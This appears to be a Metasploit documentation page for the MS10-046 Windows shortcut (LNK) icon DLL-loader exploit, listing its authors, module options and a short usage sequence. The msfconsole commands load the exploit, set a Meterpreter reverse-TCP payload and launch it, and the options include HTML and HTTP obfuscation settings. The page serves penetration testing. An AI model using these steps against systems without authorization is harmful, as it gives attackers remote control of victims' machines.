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Microsoft Windows Shell LNK Code Execution

This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.


Rank

  • Excellent

Authors

  • hdm < hdm [at] metasploit.com >
  • jduck < jduck [at] metasploit.com >
  • B_H < >

References


Exploit Targets

  • 0 - Automatic (default)

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Usage Information

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msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > show payloads
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST [MY IP ADDRESS]
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit


Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The daemon port to listen on (do not change) (default: 80)
SSLCert Path to a custom SSL certificate (default is randomly generated)
UNCHOST The host portion of the UNC path to provide to clients (ex: 1.2.3.4).
URIPATH The URI to use (do not change). (default: /)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)